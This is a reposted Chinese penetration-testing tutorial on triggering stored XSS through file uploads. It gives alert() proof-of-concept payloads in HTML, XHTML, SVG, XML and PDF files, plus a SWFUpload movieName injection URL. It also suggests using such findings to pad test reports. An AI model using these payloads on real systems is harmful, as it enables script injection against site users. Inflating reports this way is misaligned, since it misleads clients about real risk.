【技术分享】文件上传XSS漏洞的利用方式

admin 2025年1月2日11:05:37评论46 views字数 2128阅读7分5秒阅读模式
【技术分享】文件上传XSS漏洞的利用方式

2025/01/02 星期四

多云·东北风3级

//01 无法解析利用的废弃文件上传漏洞

在日常渗透测试中,会发现各种上传功能点,首先会测试利用是否存在文件上传漏洞,上传与网站脚本语言相对应的恶意代码动态脚本(如jsp、asp、php、aspx文件后缀)到服务器上,一旦这些脚本被Web容器解释并执行,就能访问这些脚本中包含的恶意代码,达到执行恶意代码的效果。

但是,在实际渗透测试中经常会发现一些无法解析的上传点,或者严格限制了上传文件的后缀名的上传点。这种漏洞在攻防演练中或许可以直接放弃,但是在一些特定的工作下,比如就是需要凑点漏洞写写报告,可以尝试上传一些可以解析XSS漏洞的文件,在报告里写一个XSS跨站脚本漏洞。

【技术分享】文件上传XSS漏洞的利用方式

//02 可以解析XSS漏洞的文件后缀

序号
后缀文件
如何触发
1
HTML后缀文件
新建含有xss语句的html文件上传即可
2
XHTML后缀文件
新建含有xss语句的xhtml文件上传即可
3
SVG后缀文件
新建含有xss语句的svg文件上传即可
4
XML后缀文件
新建含有xss语句的xml文件上传即可
5
PDF后缀文件
在JavaScript中插入xss语句保存pdf上传即可
6
SWF后缀文件
上传swfupload.swf文件构造指定语句触发

//03 文件上传XSS漏洞测试

HTML后缀文件

<html><head><body><p></p></body><imgsrc="1"onerror="alert('/xss/')"></head></html>
【技术分享】文件上传XSS漏洞的利用方式

XHTML后缀文件

<!DOCTYPE htmlPUBLIC"-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><htmlxmlns="http://www.w3.org/1999/xhtml"><head></head><body><imgsrc="1"onerror="alert('/xss/')"></body></html>
【技术分享】文件上传XSS漏洞的利用方式
SVG后缀文件
<?xml version="1.0" standalone="no"?><!DOCTYPE svgPUBLIC"-//W3C//DTD SVG 1.1//EN""http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svgversion="1.1"baseProfile="full"xmlns="http://www.w3.org/2000/svg"><polygonid="triangle"points="0,0 0,50 50,0"fill="#009900"stroke="#004400"/><scripttype="text/javascript">alert(/xss/);</script></svg>
【技术分享】文件上传XSS漏洞的利用方式
XML后缀文件
<html><head></head><body><something:scriptxmlns:something="http://www.w3.org/1999/xhtml"> alert(/xss/);</something:script></body></html>
【技术分享】文件上传XSS漏洞的利用方式
PDF后缀文件

1.启动迅捷 PDF 编辑器打开一个 PDF 文件,或者使用“创建 PDF 文件”功能,通过将其他文档和资源转换为“可移植文档格式”来创建 PDF 文件。

【技术分享】文件上传XSS漏洞的利用方式

2.单击左侧的“页面”标签,选择与之对应的页面缩略图,然后从选项下拉菜单中选择“页面属性”命令。

【技术分享】文件上传XSS漏洞的利用方式

3.在“页面属性”对话框单击“动作”标签,再从“选择动作”下拉菜单中选择“运行 JavaScript”命令,然后单击【添加】按钮,弹出 JavaScript 编辑器对话框。

【技术分享】文件上传XSS漏洞的利用方式

4.在弹出的“JavaScript 编辑器”对话框中输入代码:app.alert('XSS');保存关闭,直接打开刚才保存的 PDF 文件,JavaScript 代码即被执行。

【技术分享】文件上传XSS漏洞的利用方式
SWF后缀文件
如果可以上传swf文件的话,可以利用SWFUpload 2.2.x版本存在XSS漏洞进行触发。一般很少碰到可以允许上传swf文件的情况。
1.首先上传swfupload.swf文件,下面附上了下载地址。
https://codeload.github.com/ntulip/swfupload-jquery-plugin/zip/refs/heads/master
2.将swfupload.swf文件进行上传,然后构造以下POC进行触发XSS漏洞。
swfupload.swf?movieName="%5d%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%28/xss/%29;//
【技术分享】文件上传XSS漏洞的利用方式

//04 总结

本文讲述了在无法解析利用的废弃文件上传漏洞的前提下,去触发XSS漏洞,来进行水报告的一种思路方式。但是在实际渗透测试和SRC挖掘时的确碰到过上传HTML文件触发XSS漏洞,被确认为XSS存储漏洞给奖励的,但是大多数的SRC厂商都是不收的,不过项目上水报告很好用。

END

 

原文始发于微信公众号(剁椒Muyou鱼头):【技术分享】文件上传XSS漏洞的利用方式

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月2日11:05:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术分享】文件上传XSS漏洞的利用方式https://cn-sec.com/archives/3583275.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息